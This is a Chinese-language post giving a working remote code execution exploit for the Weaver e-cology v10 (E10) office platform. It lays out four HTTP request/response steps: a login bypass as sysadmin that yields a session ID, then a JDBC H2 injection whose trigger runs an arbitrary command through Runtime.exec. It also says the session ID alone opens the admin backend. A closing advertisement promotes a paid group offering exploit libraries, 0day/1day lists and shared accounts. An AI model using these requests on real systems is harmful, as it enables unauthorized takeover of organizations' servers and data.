泛微 e-cology v10 远程代码执行漏洞

介绍：

泛微新一代数字化运营构建平台E10(e-cology10、eteams10)，是基于原eteams平台之上全新研发，同时融合了原E9产品的所有功能，最终研发出全新平台。

步骤1

POST /papi/passport/rest/appThirdLogin HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 Content-Type: application/x-www-form-urlencoded Content-Length: 51 username=sysadmin&service=1&ip=1&loginType=third ---- HTTP/1.1 200 OK Server: ****** Content-Type: application/json;charset=UTF-8 Connection: keep-alive Date: Tue, 20 Aug 2024 08:39:09 GMT traceId: f377fe57-0a32-42e8-80f8-91178393ca96 Set-Cookie: ETEAMS_TGC=TGT521-0L9GdBeMWxijLGMwbnRPEATrA9cHd9pvbaQ4sjcKA9EIgY5cBx; Path=/ Access-Control-Allow-Headers: X-CSRFToken,Authorization,Content-Type,Accept,Origin,User-Agent,DNT,Cache-Control,X-Mx-ReqToken,X-Requested-With,X-File-Name,i18n,token,appkey,userName,password,sw8,eteamsid,traceid,langType,timezoneoffset,authtoken,signature,enableTrans,routePath,tranceid,currentUrl,ebbusinessid,ebBusinessId Access-Control-Max-Age: 86400 X-XSS-Protection: 1 X-Content-Type-Options: nosniff Content-Length: 179 {"success":"true","serviceTicketId":"ST-591-hEd3zpL4xVLMTe9hJ0wR-http://10.0.0.1","message":"登录成功","tgtId":"TGT521-0L9GdBeMWxijLGMwbnRPEATrA9cHd9pvbaQ4sjcKA9EIgY5cBx"}

步骤2

POST /papi/passport/login/generateEteamsId HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 Content-Type: application/x-www-form-urlencoded Content-Length: 56 stTicket=ST-591-hEd3zpL4xVLMTe9hJ0wR-http://10.0.0.1 ---- HTTP/1.1 200 OK Server: ****** Content-Type: application/json;charset=UTF-8 Connection: keep-alive Date: Tue, 20 Aug 2024 08:41:51 GMT traceId: d7c16568-6727-4dab-bb87-e8f77ac37703 Access-Control-Allow-Headers: X-CSRFToken,Authorization,Content-Type,Accept,Origin,User-Agent,DNT,Cache-Control,X-Mx-ReqToken,X-Requested-With,X-File-Name,i18n,token,appkey,userName,password,sw8,eteamsid,traceid,langType,timezoneoffset,authtoken,signature,enableTrans,routePath,tranceid,currentUrl,ebbusinessid,ebBusinessId Access-Control-Max-Age: 86400 X-XSS-Protection: 1 X-Content-Type-Options: nosniff Content-Length: 114 {"code":200,"msg":"接口返回成功","status":true,"data":"THIRD_def423a1574e66bbdb29bc647cd8ccf6","fail":false}

步骤3

POST /api/bs/iaauthclient/base/save HTTP/1.1 Host: Content-Length: 86 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Content-Type: application/json Accept: */* Origin: http://ip Referer: http://ip/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close ETEAMSID: THIRD_def423a1574e66bbdb29bc647cd8ccf6 {"isUse":1,"auth_type":"custom","iaAuthclientCustomDTO":{"ruleClass":"org.h2.Driver"}}

步骤4

POST /api/dw/connSetting/testConnByBasePassword HTTP/1.1 Host: Content-Length: 199 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Content-Type: application/json Accept: */* Origin: http://ip Referer: http://ip/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close ETEAMSID: THIRD_18cd45709040d63b6b684d94b5773deb {"dbType":"mysql5","dbUrl":"jdbc:h2:mem:test;MODE=MSSQLServer;init = CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$ //javascript\njava.lang.Runtime.getRuntime().exec(\"{cmd}\")$$"}

也可以通过上面第一步、第二步获取ETEAMSID值直接进入后台管理页面。

 内部福利介绍-更新啦，网络安全百分之八十的资源都可以在这找到！涵盖了POC库、账号共享、文档库、资源网获取、会员专属群，做你的网络安全资源大全！

近期更新的0day/1day(包含公开和未公开漏洞-仅列举部分)漏洞整理更新至9000+

👇内容太多扫描二维码查看详细介绍👇